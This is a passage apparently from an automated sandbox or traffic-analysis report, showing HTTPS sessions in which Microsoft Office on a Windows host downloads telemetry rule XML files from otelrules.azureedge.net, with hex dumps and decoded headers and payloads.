49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	62355	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:58 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030758Z-r1d97b99577hc74hhC1TEBvbns000000082g00000000fh4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:58 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	62359	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:58 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030758Z-1777c6cb754vxwc9hC1TEBykgw00000008xg00000000mt9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:58 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	62357	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:58 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030758Z-185f5d8b95c4hl5whC1NYCeex000000009g000000000nv6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:58 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	62358	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:58 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030758Z-1777c6cb7549x5qchC1TEBggbg0000000950000000001wz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	62356	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:58 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:58 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030758Z-185f5d8b95cjbkr4hC1NYCeu2400000009eg00000000mqtu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:58 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	62362	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-r1d97b99577sdxndhC1TEBec5n00000008c000000000cekp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	62360	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030759Z-r1d97b99577jlrkbhC1TEBq8d0000000088g000000000fmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	62361	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
